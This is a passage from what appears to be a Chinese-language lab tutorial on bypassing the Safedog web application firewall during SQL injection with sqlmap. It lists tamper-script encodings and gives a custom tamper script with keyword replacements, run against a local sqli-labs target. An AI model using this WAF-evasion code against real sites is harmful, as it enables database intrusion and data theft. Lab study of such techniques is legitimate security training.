4 | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | |
5 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
6 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
7 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
8 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users | |
Access | 1 | appendnullbyte.py | 在有效负荷结束位置加载零字节字符编码 | ('1 AND 1=1') '1 AND 1=1%00' |
其他 | chardoubleencode.py | 双url编码(不处理以编码的) | * Input: SELECT FIELD FROM%20TABLE * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545 | |
unmagicquotes.py | 宽字符绕过 GPC addslashes | * Input: 1′ AND 1=1 * Output: 1%bf%27 AND 1=1–%20 | ||
randomcomments.py | 用/**/分割sql关键字 | ‘INSERT’ becomes ‘IN//S//ERT’ |
此时sqlmap就能针对性地绕过目标的过滤1
开始实验
首先安装安全狗等下给靶场开启防护:安全狗 apache v4.0版本
安装过程中如果没有自动出现服务名就要手动安装:
windows使用phpstudy环境安装Apache版安全狗找不到服务名_安全狗服务名_onlyoneya的博客-CSDN博客
1)---sqlmap的tamper目录:如果注入的时候遇见WAF,就利用该目录下的文件进行绕过,在该目录新建一个:bypass_safedog.py文件
2)---利用replace对注入payload 的关键字进行替代(现在内联/换行/注释都无法绕过安全狗了)
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
def dependencies():
pass
def tamper(payload,**kwargs):
if payload:
payload = payload.replace('union','%23x%0aunion') # 将union替换为%23x%0aunion
payload = payload.replace('select','/*!44575select*/')
payload = payload.replace('%20','%23a%0a')
payload = payload.replace(' ','%23a%0a')
payload = payload.replace('database()','database%23a%0a()')
return payload
python sqlmap.py -u http://127.0.0.1:80/sqlilabs/Less-4/?id=1 -tamper=bypass_safedog.py